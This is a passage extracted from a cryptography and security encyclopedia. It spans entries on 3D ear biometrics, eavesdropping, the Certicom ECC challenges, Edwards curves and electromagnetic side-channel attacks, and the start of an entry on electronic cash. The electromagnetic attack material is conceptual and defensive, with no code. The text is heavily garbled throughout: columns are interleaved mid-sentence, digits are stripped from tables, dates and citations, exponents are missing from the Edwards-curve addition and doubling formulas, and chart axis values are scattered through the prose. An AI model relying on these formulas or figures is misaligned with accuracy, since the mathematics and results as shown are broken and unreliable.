approaches for ear detection shows that the first approach dataset. UCR Dataset is captured by a Minolta Vivid
runs the fastest and it is simple, effective, and easy to imple- camera. The range image contains grid points
ment. The second approach locates an ear more accurately and each grid point has a D coordinate (x, y, z) and a set of
than the first approach since the shape model is used. The color (r, g, b) values. During the acquisition, subjects sit
third approach performs the best and it runs slightly slower on a chair about .. m from the camera in an indoor
than the other approaches. office environment. The first shot is taken when a subjects
left-side face is approximately parallel to the image plane;
Ear Authentication and Identication two shots are taken when the subject is asked to rotate
For the ear helix/antihelix representation [], the corre- his/her head to the left and to the right side within
spondence of ear helix and antihelix parts (available from with respect to his/her torso. During this process, there can
E Ear Shape for Biometric Identication
be some face tilt as well, which is not measured. A total of The recognition results are shown in Table . In order
six images per subject are recorded. A total of shots are to evaluate the proposed surface matching schemes, the
used for the experiments since some shots are not properly experiments are performed under two scenarios: () One
recorded. Every person has at least four shots. Among the frontal ear of a subject is in the gallery set and another
total subjects, there are females. Among the sub- frontal ear of the same subject is in the probe set and ()
jects, subjects have earrings and subjects have their Two frontal ears of a subject are in the gallery set and
ears partially occluded by hair (with less than % occlu- the rest of the ear images of the same subject are in the
sion). UND Data are acquired with a Minolta Vivid probe set. These two scenarios are denoted as ES and
camera. The camera outputs a range image and ES, respectively. ES is used for testing the performance
its registered color image of the same size. During acqui- of the system to recognize ears with the same pose; ES is
sition, the subject sits approximately . m away from the used for testing the performance of the system to recognize
sensor with the left side of the face toward the camera. ears with pose variations. In Table , Rank-X performance
In collection F, there are subjects with time-lapse means the correct answer is in the top X based on a chosen
gallery-pro. matching criterion.
Ear Shape for Biometric Identication. Table Recognition results on UCR and UND datasets using helix/antihelix and LSP
representations
Dataset Helix/antihelix representation LSP representation

Rank- Rank- Rank- Rank- Rank- Rank- Rank- Rank- Rank- Rank-
UCR ES (, ) .% .% .% .% .% .% .% .% .% .%
UCR ES (, ) .% .% .% .% .% .% .% .% .% .%
UND(, ) .% .% .% .% .% .% .% .% .% .%
500 540
560
550
580
z
z
600 600
650 620
80 80
60 60
40 90 40 90
80 y 20 80
y 20 70 70
60 0 60
0 50 x
x 50
20 40 20 40
30 RMS = 0.83 mm
480 500
510
500
520
z
z
520
530
540 540
40 40
20 20
0
y 0 y
80 20 70
20 60 60
40 50
40
20 40 30 x
40 0 x 20
a 20 b 10
RMS = 0.67 mm
Ear Shape for Biometric Identication. Fig. Two examples of correctly recognized gallery-probe pairs using the ear
helix/antihelix representation. (a) Examples of probe ears with the corresponding gallery ears before alignment. (b) Exam-
ples of probe ears with the correctly recognized gallery ears after alignment. The gallery ear represented by the mesh is overlaid
on the textured D probe ear. The units of x, y, and z are millimeters (mm)
a
E
540 560
560
580
580
z
z
600
600
620 620
60 60
40 40
y 20 y 20
0 90 0 90
70 80 80
60 70
50 60
20 30
40
x 20 50
30 40 x
RMS = 0.61 mm
520 520
540 540
z
560 560
580 580
20 20
0 0
20
20
y y 30
40 50
40 20
30 40 10
60 20 0
10 10
0 x x
80 10 60 20
20 30
b c RMS = 0.99 m
Ear Shape for Biometric Identication. Fig. Two examples of the correctly recognized gallery-probe pairs using the LSP repre-
sentation. The ears have earrings. Images in column (a) show color images of ears. Images in column (b) and (c) show the probe
ear with the corresponding gallery ear before the alignment and after the alignment, respectively. The gallery ears represented
by the mesh are overlaid on the textured D probe ears. The units of x, y, and z are in millimeters (mm)
Examples of correctly recognized gallery-probe ear For the identification, usually a biometrics system con-
pairs using the helix/antihelix representation is shown in ducts a one-to-many comparison to establish an individ-
Fig. . Similarly, examples of correctly recognized gallery- uals identity. This process is computationally expensive,
probe ear pairs using local surface patch representation especially for a large database. There is a need to develop
are shown in Fig. . From Figs. and , it is observed a general framework for rapid recognition of D ears. An
that each gallery ear is well aligned with the corresponding approach that combines the feature embedding and sup-
probe ear. port vector machine (SVM) rank learning techniques has
E Eavesdropping
been developed []. It provides a sublinear time complexity . Besl P, Mckay ND () A method of registration of -D shapes.
on the number of models without making any assump- IEEE Trans Pattern Anal Mach Intell :
. Chen H, Bhanu B () Efficient recognition of highly similar
tions about the feature distributions. The performance of
D objects in range images. IEEE Trans Pattern Anal Mach Intell
this algorithm is scalable with the database size without :
sacrificing much accuracy.
Applications
Ear recognition is a relatively new area in biometrics Eavesdropping
research. The experimental results on the large datasets
show that ear biometrics has the potential to be used in the Micah Sherr
real-world applications to identify/authenticate humans by Department of Computer Science, Georgetown
their ears. Ear biometrics can be used in both the low University, Washington, DC, USA
and high security applications and in combination with
other biometrics such as face. With the decreasing cost
and size of a D scanner and the increased performance, Synonyms
it is believed that D ear biometrics will be highly useful in Interception; Monitoring; Wiretapping
many real-world applications in the future.
Related Concepts
Man-in-the-Middle
Open Problems
Although the current algorithms have achieved a good Denition
performance in D ear recognition, there are still some Eavesdropping is the surreptitious monitoring of commu-
problems that need to be worked on to make automatic nication.
ear recognition system more effective and efficient in real
world applications. Background
How to integrate color and range information for Eavesdropping has two underlying goals. Primarily, it
improved ear recognition? seeks to monitor communication with high information
How to develop highly efficient indexing techniques for fidelity. The intercepted communication should closely
very large scale ear identification? reflect the information that the sender is attempting
How to combine ear biometrics (D and/or D) with to convey to the receiver. Additionally, eavesdropping
(D and/or D) face and side face for robust human should be a clandestine operation; neither the sender
recognition? nor the receiver should be aware of the eavesdroppers
How to use the infrared images of ears to overcome the presence.
problem of occlusion of the ear by hair? Eavesdropping can be classified into two techniques.
How to combine shape-based ear recognition with the In passive eavesdropping, the eavesdropper monitors com-
acoustic recognition of ear so as to develop a fool-proof munication and does not interfere with the communica-
system for recognizing a live individual? tion channel. Passive eavesdroppers are difficult to detect
How to develop new volume-based features for D ear since their presence does not produce any observable
recognition? effects. In contrast, active eavesdropping techniques per-
mit the eavesdropper to both observe the communica-
tion medium as well as modify its contents. In particular,
Recommended Reading an active eavesdropper may be able to insert messages,
. Iannarelli A () Ear identification. Forensic identification
modify the contents of intercepted communication, or
series. Paramont, Fremont
. Bhanu B, Chen H () Human ear recognition by computer.
remove messages before they would otherwise reach the
Springer, London receiver.
. Chang K, Bowyer KW, Sarkar S, Victor B () Comparison To circumvent potential eavesdropping, the sender
and combination of ear and face images in appearance-based may apply eavesdropping countermeasures to protect the
biometrics. IEEE Trans Pattern Anal Mach Intell :
contents (and, in some cases, the metadata) of communi-
. Yan P, Bowyer KW () Biometric recognition using D ear
shape. IEEE Trans Pattern Anal Mach Intell :
cation. The most common eavesdropping countermeasure
. Chen H, Bhanu B () Human ear recognition in D. IEEE is the use of cryptography to obfuscate communication
Trans Pattern Anal Mach Intell : content. Cryptography prevents eavesdroppers that do not
ECC Challenges E
have the decryption key from deciphering the meaning of

the communication. (It does not, however, protect against ECC
all forms of traffic analysis.) Messages may also be sent
using steganographic techniques in which message content Elliptic Curve Cryptography
is concealed within seemingly innocuous data. Alterna-
tively, to prevent her traffic from being intercepted, the
sender may utilize covert channels that are not detected by
the eavesdropping system. The sender may also relay her
ECC Challenges
messages through an anonymity service [] a network or
protocol that masks the identities of the communicating Darrel Hankerson , Alfred Menezes

parties. Department of Mathematics, Auburn University,
Auburn, AL, USA E

Department of Combinatorics and Optimization,
Applications University of Waterloo, Waterloo, Ontario, Canada
Eavesdropping is commonly applied to discover the
contents of confidential communication. In particular,
eavesdropping is often used to intercept personal commu-
Related Concepts
Elliptic Curve Discrete Logarithm Problem
nication (e.g., email or instant messages) or authentica-
tion credentials. When applied to the telephone network,
Denition
eavesdropping is also called wiretapping.
For this section, challenges are computational problems
posed to stimulate research on problems of interest. The
Open Problems challenges of interest here are related to the security of
There is extensive work that investigates the problem of mechanisms based on elliptic curves.
eavesdropping resistance. For example, cryptography is
often used to prevent an eavesdropper from interpret- Background
ing communicated information. However, the science of In Certicom [] issued a series of elliptic curve dis-
eavesdropping that is, methods and best practices to crete logarithm problem (ECDLP) challenges. Each chal-
accurately reconstruct communication has not been well lenge asks for the solution of an ECDLP instance in P,
explored in the literature. Consequently, there are several where P is a point of prime order n on an elliptic curve
open problems relating to eavesdropping: E defined over a finite field Fq . The difficulty of the
challenge is measured by the bit length of the order n.
What are the pertinent metrics for quantitatively eval-
uating eavesdropping systems? Applications
What are the risks introduced by eavesdropping []? The challenges are of three kinds. In the following, ECCp-k
Where in the network should eavesdropping sys- denotes a randomly selected elliptic curve over a prime
tems be located to maximize the fidelity of their field; ECC-k denotes a randomly selected elliptic curve
intercepts? over a characteristic two finite field Fm , where m is prime;
Does eavesdropping produce a detectable side-channel? and ECCK-k denotes a Koblitz curve (i.e., an elliptic curve
What are the capacity requirements of eavesdropping whose defining equation has coefficients in the binary field
systems? F ); and k is the bit length of n. In all cases, the bit length
What are the fundamental limitations of eavesdrop- of the order of the underlying field is equal to, or slightly
ping systems? greater than, k (so the elliptic curves have prime order or
What are the statutory and jurisdictional problems almost prime order). An underlined entry denotes that the
associated with eavesdropping []? challenge has been solved as of August .
. Randomly generated curves over prime fields: ECCp-
Recommended Reading , ECCp-, ECCp-, ECCp-, ECCp-, ECCp-
. Bellovin SM () Wiretapping the net. The Bridge (): , ECCp-, ECCp-, and ECCp-.
. Blaze M, Bellovin SM () Inside RISKS: Tapping on my
. Randomly generated curves over characteristic
network door. Commun ACM ():
. Reed MG, Syverson PF, Goldschlag DM () Anonymous
two finite fields: ECC-, ECC-, ECC-, ECC-
connections and onion routing. IEEE J Sel Areas Commun , ECC-, ECC-, ECC-, ECC-, and
(): ECC-.
E ECM
. Koblitz curves over F : ECCK-, ECCK-,

ECCK-, ECCK-, ECCK-, and Edwards Coordinates
ECCK-.
Edwards Curves
The challenges were solved using the parallel colli-
sion search variant of Pollards algorithm as explained
in the discrete logarithm problem entry. The compu-
tation was performed on workstations distributed over Edwards Curves
the Internet. The hardest challenges solved to date were
ECCp- and ECC-. Of the challenges that remain Tanja Lange
unsolved, the one that is expected to be the easiest to solve Coding Theory and Cryptology, Eindhoven Institute for
is ECCK-. the Protection of Systems and Information, Department
Although not part of the Certicom Challenges, a prob- of Mathematics and Computer Science, Technische
lem of similar type for a -bit prime was solved in July Universiteit Eindhoven, Eindhoven, The Netherlands
[]. The curve is part of a collection by the Stan-
dards for Efficient Cryptography Group [] and is also
Synonyms
part of the Wireless Transport Layer Security Specifica-
Edwards coordinates
tion [] with the note that curves with security parame-
ters of this size are supplied to assist implementors meet
Related Concepts
the regulatory requirements of various countries when
Elliptic Curve Cryptography; Elliptic Curve Method
necessary. A cluster of more than game consoles
of Factorization; Elliptic Curves; Elliptic Curves for
was employed, completing the challenge in approximately
Primality Proving; Hyperelliptic Curves
months.
Denition
Recommended Reading An Edwards curve is an elliptic curve. Let k be a field in
. Certicom ECC Challenge, http://www.certicom.com/index.php/ which and let d k/{, }; then x + y = + dx y
the-certicom- ecc- challenge defines an Edwards curve.
. Bos JW and Kaihara ME (with Kleinjung T, Lenstra AK, Mont-
gomery PL), http://lacal.epfl.ch/page.html Background
. Standards for Efficient Cryptography Group, SEC : Recom-
Harold Edwards showed in [] that any elliptic curve
mended Elliptic Curve Domain Parameters, www.secg.org
. Wireless Transport Layer Security Specification, Open Mobile over a field in which can be written in the form
Alliance () http://www.openmobilealliance.org/Technical/ x + y = a ( + x y ), where a or , possibly
wapindex.aspx after a finite field extension. Edwards also showed how to
do arithmetic on this curve shape, i.e., how to add two
points. In [] Bernstein and Lange generalized the curve
shape to x + y = + dx y with d k/{, }; these
ECM curves are now called Edwards curves. They also provided
explicit formulas for adding and doubling points in projec-
Elliptic Curve Method for Factoring tive coordinates. Curves of the form ax + y = + dx y
with a, d k/{} and a d are called twisted Edwards
curves and were introduced in []. A geometric interpreta-
tion of the addition law, similar to the chord-and-tangent
ECPP method (see the entry on elliptic curves), is given in [].
Elliptic Curves for Primality Proving Applications

The most time consuming operation in elliptic curve
cryptography, in the elliptic curve method of factoriza-
tion, and in using elliptic curves for primality proving
ECRYPT Stream Cipher Project is to compute scalar multiples aP of a point P. Edwards
curves are one representation of elliptic curves in which
eSTREAM computing scalar multiples takes fewer field operations
Edwards Curves E
than in other representations. If the scalar a is a secret of two non squares is a square and so the only case not hav-
value the computation aP must not leak any information ing points at infinity is that a is a square and d is a non
on a to an attacker performing side-channel analysis. The square, which is the case for which the addition formulas
formulas for addition on Edwards curves can be used to are complete.
double points which can be used to protect against simple In projective coordinates a point is represented as (X :
side-channel attacks (SCA). Y : Z ), where for Z this point corresponds to the
Edwards curves and twisted Edwards curves can be affine point (X /Z , Y /Z ). Representing points in pro-
used in applications that require elliptic curve operations jective coordinates makes it possible to compute point
to achieve faster arithmetic. The only restriction is that the additions without using field inversions. The addition of
group needs to have a point of order (Edwards curves) (X : Y : Z ) and (X : Y : Z ) can be computed in
or of order (twisted Edwards curves). For elliptic multiplications, squaring, multiplication by a, and
curve cryptography curves are considered over finite fields multiplication by d as follows:
E
and this restriction means that the group order is divis-
ible by . This cofactor is small enough to satisfy the A = Z Z , B = A , C = X X , D = Y Y ,
IEEE P standard. The elliptic curve method of fac- E = dC D, F = B E, G = B + E,
torization prefers curves with points of finite order so X = A F ((X + Y ) (X + Y ) C D),
that Edwards curves are suitable candidates, see [] and
Y = A G (D aC), Z = F G.
[]; the same holds for primality proving using elliptic
curves. Extended coordinates were introduced in []; in these
an affine point is represented by (X : Y : Z : T ) with
x = X /Z , y = Y /Z , and x y = T /Z and the addition
Theory of two points costs multiplications, multiplication by a
Let P = (x , y ) and P = (x , y ) be affine points on the and multiplication by d. If a = , multiplications and
twisted Edwards curve ax + y = + dx y . Their sum is multiplication by d is sufficient.
given by Doublings can be computed in multiplications,
squarings, and multiplication by a using
x y + x y y y ax x
( , ).
+ dx x y y dx x y y B = (X + Y ) , C = X , D = Y ,
E = aC, F = E + D, H = Z , J = F H,
Unlike in the case of Weierstrass curves (see the entry
on elliptic curves) these formulas also allow to dou- X = (B C D) J, Y = F (E D), Z = F J.
ble a point, i.e., for P = P the above expression gives
Twisted Edwards curves are birationally equivalent to
P . For efficient computations this formula can be sim-
y ax
elliptic curves in Weierstrass form. The map is easiest to
plified for doublings to ( axx +y
y
, ax y
). If a is a square describe as a birational equivalence to Montgomery curves,

in k and d is not a square in k then the denominators in which are curves of the form Bv = u + Au + u; refer the
the general addition formulas are never zero for any pair entry on elliptic curves for isomorphic transformations
of inputs, so the formulas define addition of any pair of to simplified Weierstrass equations. Let A = (a + d)/
points. This property is called completeness of the addition (a d) and B = /(a d). The map (x, y) (u, v) =
formulas. The set of points forms an abelian group under (( + y)/( y), ( + y)/( y)x) is a birational equiva-
this operation. The identity element is the point (, ) and lence from ax + y = + dx y to Bv = u + Au + u, with
(x , y ) = (x , y ). inverse (u, v) (x, y) = (u/v, (u )/(u + )).
For other values of a and d exceptions can occur; these The concept of Edwards curves was generalized to
are covered by a second addition formula. For details see characteristic- fields in [].
[]. The point (, ) has order and if a = b then (b, )
are points of order , so in particular an Edwards curve Experimental Results
(a = ) has at least points of order . The curve has An overview of alternative curve shapes and explicit
points at infinity; two of which are defined over the small- formulas for arithmetic on them in various coordinate
est extension field of k containing a square root of d and systems is given at [] along with a comparison of
two of which are defined over the smallest extension field the efficiency of scalar multiplication for all different
of k containing a square root of d/a. The former have order combinations. That page also covers curves over binary
while the latter have order . In a finite field the fraction fields.
E Eciency of Hyperelliptic Curve Cryptosystems
Recommended Reading
. Arne C, Lange T, Naehrig M, Ritzenthaler C () Faster Electromagnetic Attack
computation of the Tate pairing. J Number Theory ():
, Elliptic Curve Cryptography, ISSN -X, DOI: Jean-Jacques Quisquater , David Samyde
./j.jnt.... http://www.sciencedirect.com/
Microelectronics Laboratory, Universit catholique de
science/article/pii/SX
. Bernstein DJ, Birkner P, Joye M, Lange T, Peters C () Twisted Louvain, Louvain-la-Neuve, Belgium

Edwards curves. In: Vaudenay S (ed) Progress in cryptology Intel Corporation, Santa Clara, CA, USA
AFRICACRYPT , Proceedings of first international confer-
ence on cryptology in Africa, Casablanca, Morocco, June
. Lecture notes in computer science, vol . Springer, Related Concepts
Berlin, pp Side-Channel Attacks
. Bernstein DJ, Birkner P, Lange T, Peters C () ECM using
Edwards curves. Technical report, ePrint archive. http://eprint.
iacr.org//
Denition
. Bernstein DJ, Chen T-R, Cheng C-M, Lange T, Yang B-Y ()
ECM on graphics cards. In: Joux A (ed) Advances in cryptology Introduction
EUROCRYPT . Proceedings of th annual international Kerchoff s laws (maxims) recommend basing crypto-
conference on the theory and applications of cryptographic tech-
graphic security solely on the secrecy of the key and
niques, Cologne, Germany, April . Lecture notes in
computer science, vol . Springer, Berlin, pp not on the concealment of the encryption algorithm.
. Bernstein DJ, Lange T Explicit-formulas database. http://www. A cryptosystem that uses some specific encryption method
hyperelliptic.org/EFD. Accessed Jan may, however, be imperfect as to its physical implemen-
. Bernstein DJ, Lange T () Faster addition and doubling on tation. One or several leakages of all possible kinds may
elliptic curves. In: Kurosawa K (ed) Advances in cryptology
in that case provide an attacker with relevant informa-
ASIACRYPT . Proceedings of th international conference
on the theory and application of cryptology and information tion. Physical signals can often be used as a leakage source
security, Kuching, Malaysia, Dec . Lecture notes in com- to conduct side-channel cryptanalysis [] (refer also
puter science, vol . Springer, Berlin, pp . http://cr.yp. side-channel attacks). Time, power consumption, or elec-
to/newelliptic/ tromagnetic radiations can, for instance, be used. Electro-
. Bernstein DJ, Lange T () A complete set of addi-
magnetic radiation leakage has been known for a long time
tion laws for incomplete Edwards curves. J Number The-
ory ():, Elliptic Curve Cryptography, ISSN - now, [] and it also constitutes the subject of very recent
X, DOI: ./j.jnt.... http://www.sciencedirect. research []. When analyzing cryptographic implementa-
com/science/article/pii/SX tions, the near and far field of cryptographic processors
. Bernstein DJ, Lange T, Rezaeian Farashahi R () Binary may offer a leakage source that should be seriously taken
Edwards curves. In: Oswald E, Rohatgi P (eds) Cryptographic
into account.
hardware and embedded systems CHES . th interna-
tional workshop, Washington, DC, August . Lec-
ture notes in computer science, vol . Springer, Berlin, Background
pp . http://eprint.iacr.org//
. Edwards HM () A normal form for elliptic curves.
History
Bull Amer Math Soc :. http://www.ams.org/bull/ It is quite difficult to fix with precision the advent of side-
--/S- - - - /home.html channel cryptanalysis. It even seems that this date is rather
. Hisil H, Koon-Ho Wong K, Carter G, Dawson E () Twisted to be situated at the end of the nineteenth century or
Edwards curves revisited. In: Pieprzyk J (ed) Advances in cryp-
at the very beginning of twentieth. J. Maxwell has estab-
tology ASIACRYPT . Proceedings of th international
conference on the theory and application of cryptology and
lished its theory on electromagnetic waves in . Some
information security, Melbourne, Australia, Dec . Lec- crosstalk problems in telephone links were mentioned at
ture notes in computer science, vol . Springer, Berlin, the end of the nineteenth century. The obtained informa-
pp tion was only copied on another media in order to listen
to it afterward. In , H. Yardley and his team discov-
ered that classified information could leak from electric
materials. This knowledge enabled them to rediscover the
handled secrets. The data contained in a cryptographic
Eciency of Hyperelliptic Curve device modulated a signal on the tape of a nearby record-
Cryptosystems ing source. The study of the IBM typewriter in the mid-
dle S indicated that the leakage of information was
Hyperelliptic Curves Performance important and had to be seriously taken into account.
Electromagnetic Attack E
Many years and some interception cases later, militaries

seriously worried about this new threat and initiated the
TEMPEST program. It is amusing to notice that the first
analyses were based on electromagnetic radiation, rather
than directly on the analysis of the consumed current. This
is due to the ease of measuring the radiated field, which Electromagnetic Attack. Fig.
needs no physical access to the device, unlike consumption
measurements.
In the early s, people began mentioning cases
of interference between some of their electronic equip- the value of a logic gate is established and does not vary
ment. Electromagnetic radiation has even been described anymore, the only existing currents are continuous cur-
by standard, thus allowing the peaceful coexistence of var- rents. During the commutation from one value to another,
E
ious devices at the same time in the same place. All elec- on the contrary, the involved currents contain very dif-
tronic devices are sensitive to outside disturbances and ferent frequency components. Every continuous current
may in some cases, themselves, be disturbing elements. So will indeed not provide any contribution to the sensor. The
an office computer can interfere with a radio receiver and oscillators and commutation lines, on the contrary, provide
this is the idea on which the study of electromagnetic fields contributions that are directly linked to the size of the used
emitted by processors is based upon [, ]. The idea has amplifiers, their power, and the quantity of changing bits.
been applied to smart cards, and allowed, realizing that But it is possible to carry out the same measure in the case
their radiation could easily be measured []. of leakage by consumption measurements. It is possible to
decouple the power supply by judiciously placing a small
capacitor between the power supply line and the ground
Theory of the device under measure. This is a principle that is well
Principles known to electronics engineers, and all disruptions that are
It is thus possible to investigate radiations coming from present on the power supply line will in this way go through
electronic components while they are executing a sensi- the capacitor to end up at the ground. As previously, only
tive computation involving some secret. A solution there- the commutations are visible. By measuring the currents
fore is to measure the electromagnetic radiation of the that transit through this capacitor, it is possible to highly
chip during computation. The principles of Simple Power reduce the number of samples that are required for a differ-
Analysis (SPA) and Differential Power Analysis (DPA) [] ential measure. This current measurement can be carried
(differential power analysis) are based on consumption out by an electromagnetic measurement.
differences generated during the computation in func- The figure depicted below shows two curves, repre-
tion of the value of some key bit, which can be used to senting the initialization of a smart card, the execution of
recover the key. Similarly, Simple Electromagnetic Anal- a DES (Data Encryption Standard) and the stopping of
ysis (SEMA) and Differential Electromagnetic Analysis the card. Both curves have signal-to-noise ratios that are
(DEMA) allow retrieving the key as well, based on the very close, but the green curve, which details the current
same concept []. It is important to notice that refine- through the capacitor, requires times less traces than
ments such as Automatic Template Analysis, Dictionary the one that represents the current measurement. As for
attacks, High-Order DPA or Multiple bits DPA [, ] are power consumption measurements, the analysis of the cur-
also useful in the case of electromagnetic analyses. rents, obtained with an electromagnetic field sensor can
In the case of the current analysis, however, the only be performed in the time domain as well as in the fre-
possible measure contains the sum of the contributions of quency domain. The internal clocks of the components, as
all actions of the processor at a given moment. Computer well as the oscillator of the charge pump required for the
architecture and the massive use of commutation elec- writing into some nonvolatile memories, can in this way
tronics generate interesting properties for electromagnetic easily be found. In certain cases (charge pumping oscilla-
analysis. The modifications linked to the evolution of the tor, etc.), the sensitive information modulates the radiated
clock characterize the system for the case of a synchronous signals and a simple demodulation suffices to recover the
processor and the bus transfers have a consumption that data [, , ].
is proportional to the number of bit transitions between The cards are well protected against a wide variety
two cycles. It is indeed possible to easily use sensors that of attacks (Tamper Detection, Tamper Response, and
are only sensitive to commutations inside the chip. When Tamper Resistance) in order to avoid fault insertion
E Electromagnetic Attack
[, , ] (Fault Attack). As a consequence, they recreate signal has to be amplified before it can be correctly mea-
their clock internally and by electromagnetic analysis it is sured. Different sensors can therefore be used, but they do
possible to recover this clock, to re-amplify it and to mul- not all offer the same information. The measured spectrum
tiply it in order to be able to synchronize the acquisition also varies in the function of the implementations and the
frequency of the device as well as possible. packaging of the components.
One of the advantages of EMA is the locality principle.
Using an adapted sensor it is possible to locally measure the Countermeasures
field radiated by a chip [, ]. But the equations are much There exist multiple countermeasures at the hardware
more complex than announced in [], and the near-field level, but they are however not all well suited to all cases
approximation does not require the same equations at all. and have sometimes to be locally adjusted. The first of all
Using a coil as the electromagnetic sensor and considering these countermeasures is of course the use of a Faraday
it as an adapted sensor is only a first-order approximation. cage, in order to stop all kinds of radiation leakage. This
countermeasure, although being ideally the most perfect
Advantages one, is also the most difficult to put in place. There are
An advantage of Electromagnetic Analysis is that it allows multiple and heavy constraints when using a Faraday cage
obtaining at least the same result as power analysis and they cannot always all be relaxed. In order to reduce
[]. But the most accurate information leakage model radiation, a thin metal layer (ideally a ferromagnetic one)
(Side-Channel Attacks) is based on bit commutations may sometimes suffice to render measurements more diffi-
between two states. Moreover, for some so-called classes of cult. In cases where a Faraday cage cannot be used because
bad instructions, it allows to deduce results, where power of bounding wires, power supply lines, or simply because
analysis fails [, ]. So, EMA could be used to reduce the of mechanical constraints (the thickness of a smart card
effectiveness of existing countermeasures against Power is fixed at . mm), one should define a protection zone
Analysis. Buses and registers constitute the major leak- around the device to be measured. But once again, this
age sources. In addition, it is possible to use the possible cannot always be done.
leakage sources jointly. Rao and his team have shown that Electronic designs call more and more upon low-
attacks that are based on signals which, taken together, consumption techniques. As a consequence, this reduces
do not necessarily present the best signal to noise ratio, the commuted currents and thus reduces their radiation.
can lead to satisfactory results []. Smart cards are par- These techniques are, however, not sufficient. One is then
ticularly vulnerable, as they can hardly detect a listen- forced to use asynchronism techniques and classical DPA
ing material (Tamper Detection, Tamper Response, and countermeasures (Dual rail logic, precharged logic, etc.)
Tamper Resistance). In certain cases, electromagnetic (Side-Channel Attacks). Some of the new architectures
analysis allows to recover PIN codes (Personal Identifi- seem, however, to be able to break the locality principle and
cation Number) or, by applying an a little bit more complex scatter around the computation over the processor.
approach (active sensors), to insert faults [].
Conclusion
Context Analysis by electromagnetic radiation has to be taken
Maxwells equations indicate that it is possible to the- into account seriously, especially when it enables discov-
oretically predict the radiation of a cryptoprocessor. ering cryptographic keys. Practical examples that could be
The complexity of the computation is, however, often pro- threatened by such an attack are numerous (Hardware
hibitive and inhibits from using such a procedure. From Security Module and EMV-Standard). Therefore, there
this observation on, only an empirical approach, based on exist some evaluation criterions (Security Evaluation Cri-
practice and experimentation, allows to rapidly obtain use- teria) and countermeasures to stop this type of attack. Even
ful results. Once this step is taken, one can turn back to a if the signals are noisier, electromagnetic analysis has some
numerical simulation and provide more reliable numerical serious advantages compared to power consumption anal-
values to the used model. ysis. The combination of both often allows reducing the
The practical approach is simple, but the principle required number of samples to recover the cryptographic
of analysis by measuring the electromagnetic radiation keys, because of the improvement of the signal-to-noise
is, however, more complex to put in place than the one ratio. The statistical analyses that can be performed after-
that uses power consumption measurements. As for power ward are numerous and also allow improving the efficiency
analysis, a sensor and an acquisition system are sufficient of the attack compared to a classical differential analysis.
to recover the sampled data. But sometimes the obtained The use of side channels to recover a cryptographic key is
Electronic Cash E
primordial when a physical access to the device is at dis- Portland, pp . Also available on http://www.cl.cam.ac.
posal. But electromagnetic analysis strongly depends on uk/mgk/ih- tempest.pdf
. Messerges TS, Dabbish EA, Sloan RH () Investigations
the architecture of the chip, and some knowledge of the
of power analysis attacks on smartcards. In: USENIX work-
internal circuitry of the processor also highly facilitates shop on smartcard technology, pp . Also available
the work. on http://www.usenix.org/publications/library/proceedings/
smartcard/full_papers/messerges/messerges.pdf
. Muccioli JP, Catherwood M () Characteristics of near-
Recommended Reading field magnetic radiated emissions from VLSI microcontroller
. Agrawal D, Archambeault B, RaoJR, Rohatgi P () The EM devices. In: EMC test and design
side-channel(s). In: Kaliski B (ed) Proceedings of the crypto- . Quisquater J-J, Samyde D () A new tool for non-intrusive
graphic hardware and embedded systems, CHES , Redwood analysis of smart cards based on electro-magnetic emissions:
City. Lecture notes in computer science, vol . Springer, The SEMA and DEMA methods. Eurocrypt Rump Session,
Berlin, pp . Also available on http://ece.gmu.edu/crypto/ Bruges, Belgium
E
ches/talks.htm . Quisquater J-J, Samyde D () Electromagnetic analysis
. Agrawal D, Rao JR, Rohatgi P () Multi-channel attacks. (EMA): measures and countermeasures for smart cards. In:
In: Walter C (ed) Proceedings of the cryptographic hard- Attali I, Jensen T (eds) Proceedings of the international confer-
ware and embedded systems, CHES , Cologne. Lec- ence on research in smart cards E-Smart , Cannes. Lecture
ture notes in computer science, vol . Springer, Berlin, notes in computer science, vol . Springer, Berlin, pp
pp . Quisquater J-J, Samyde D () Eddy currents for magnetic
. Biham E, Shamir A () Differential fault analysis of secret key analysis with active sensor. Eurosmart, Proceedings of the
cryptosystems. In: Kaliski BS Jr (ed) Proceedings of advances in ESmart conference, Cannes, pp
cryptology CRYPTO. Lecture notes in computer science, . Rao JR, Rohatgi P () {EMpowering} Side-Channel
vol . Springer, Berlin, pp . Also available on http:// Attacks, preliminary technical report. Available on
citeseer.nj.nec.com/bihamdifferential.html http://citeseer.nj.nec.com/cache/papers/cs//http:zSzzSze
. Boneh D, Demillo RA, Lipton RJ () On the importance of print.iacr.orgzSzzSz.pdf/raoempowering.pdf
checking cryptographic protocols for faults. In: Kaliski BS Jr (ed) . Rao JR, Rohatgi P, Scherzer H, Tinguely S () Partitioning
Advances in cryptology EUROCRYPT. Lecture notes in attacks or how to rapidly clone some GSM cards. In: IEEE sym-
computer science, vol . Springer, Berlin, pp . Also avail- posium on security and privacy, Berkeley. Available on http://
able on http://citeseer.nj.nec.com/bonehimportance.html www.research.ibm.com/intsec/gsm.ps
. Chari S, Rao JR, Rohatgi P () Template attacks. In: Kaliski B . Skorobogatov S, Anderson R () Optical fault induction
(ed) Proceedings of the cryptographic hardware and embedded attacks. In: Kaliski B (ed) Proceedings of the cryptographic
systems, CHES , Redwood City. Lecture notes in computer hardware and embedded systems, CHES , Redwood City.
science, vol . Springer, Berlin, pp . Also available on Lecture notes in computer science, vol . Springer, Berlin,
http://ece.gmu.edu/crypto/ches/talks.htm pp . Also available on http://ece.gmu.edu/crypto/ches/
. http://www.cryptome.org talks.htm
. Gandolfi K, Mourtel C, Olivier F () Electromagnetic attacks: . Slattery KP, Muccioli JP, North T () Modeling the radi-
Concrete results. In: Naccache D (ed) Proceedings of the cryp- ated emissions from microprocessors and other VLSI devices.
tographic hardware and embedded systems, CHES , Paris. In: IEEE international symposium on electromagnetic
Lecture notes in computer science, vol . Springer, Berlin, compatibility
pp . Also available on http://www.gemplus.com/smart/
r_d/publications/pdf/GMOema.pdf
. Hess E, Jansen N, Meyer B, Schutze T () Informa-
tion leakage attacks against smart card implementations Electro-Magnetic Fingerprinting
of cryptographic algorithms and countermeasures. In:
Eurosmart, Proceedings of the Eurosmart conference, Nice,
Wireless Device Fingerprinting
pp
. Kelsey J, Schneier B, Wagner D, Hall C () Side chan-
nel cryptanalysis of product ciphers. In: Quisquater, Deswarte,
Meadows, and Gollmann (eds) Proceedings of ESORICS. Electronic Cash
Lecture notes in computer science, vol . Springer, Louvain
la Neuve, Belgium, pp . Also available on http://www. Gerrit Bleumer
schneier.com/paper-side- channel.html
. Kocher P, Jaffe J, Jun B () Differential power analysis. In:
Wiener M (ed) Advances in cryptology CRYPTO. Lec- Birkenwerder bei Berlin, Germany
pp . Also available on http://www.cryptography.com/
Related Concepts
resources/whitepapers/DPA.html
